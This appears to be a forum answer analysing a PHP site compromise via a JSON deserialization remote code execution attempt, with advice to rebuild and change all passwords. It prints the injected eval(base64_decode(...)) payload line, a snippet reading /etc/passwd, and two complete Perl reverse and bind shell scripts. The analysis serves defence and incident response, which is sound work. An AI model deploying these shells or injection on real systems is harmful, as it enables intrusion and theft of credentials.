12 of 16 added first file

This is a JSON Deserialize Remote Code Execution Attempt

Possible rep-hoarding assistant. Also, it's funny. I think

This answer will be made based on the assumption that your website was hacked. If it wasn't hacked, and these files were not loaded, then it's only a hack attempt. If you found suspicious files, you've probably been hacked.

This is essentially a Remote Code Execution exploit in that loads multiple shells on your server, and tries to exfiltrate (steal) configuration files, system passwords, etc.

What it's doing is exploiting a problem with a JSON deserialization feature which allows remote code execution. Once it's onto your server, it starts chaining off multiple functions and loading multiple shells.

It also turns off your error logging when it doesn't want you to know what's going on:


There are lots of other things going on, but the gist of it is that the code doesn't really want you to know what's going on.

The Exploit Attempt Entry Point

In this JSON blob, you can see here that they attempt to throw eval(base64_decode("hacked contents")); into the feed_url parameter.

\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";

Nifty, huh?

You can't just nuke from orbit. Your credentials were also stolen

You'll probably be well-served by changing all of your usernames and passwords, not just nuking from orbit. This script attempts to steal all of your configuration files, and your system password.

See this:

$file = '/etc/passwd';
$read = @fopen($file, 'r');

...and this file as well.

This allows shells to run on your server

A PHP shell, and a Perl shell:

Here's the Perl Shell:

  1. File 1:

     use Socket;
     $iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
     $paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
     $proto = getprotobyname('tcp');
     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
     connect(SOCKET, $paddr) || die("Error: $!\n");
     open(STDIN, ">&SOCKET");
     open(STDOUT, ">&SOCKET");
     open(STDERR, ">&SOCKET");
     system('/bin/sh -i');
  2. File 2:

     $SHELL = "/bin/sh -i";
     if (@ARGV < 1) {
     use Socket;
     socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
     setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
     bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
     listen(S, 3) || die "Cant listen port\n";
     while (1) {
         accept(CONN, S);
             if (!($pid = fork)) {
             die "Cannot fork"
             if (!defined $pid);
             open STDIN, "<&CONN";
             open STDOUT, ">&CONN";
             open STDERR, ">&CONN";
             exec $SHELL || die print CONN "Cant execute $SHELL\n";
             close CONN;
             exit 0;

Malicious Source Files

I decoded the malicious source code. If you're interested in it, check the following links below:

Too Long, Didn't Read

Nuke from orbit, and change all usernames and passwords. They have full access.

Would you like to know more?

You can learn how to do this yourself. Check out this thread: I found unknown PHP code on my server. How do I de-obfuscate the code?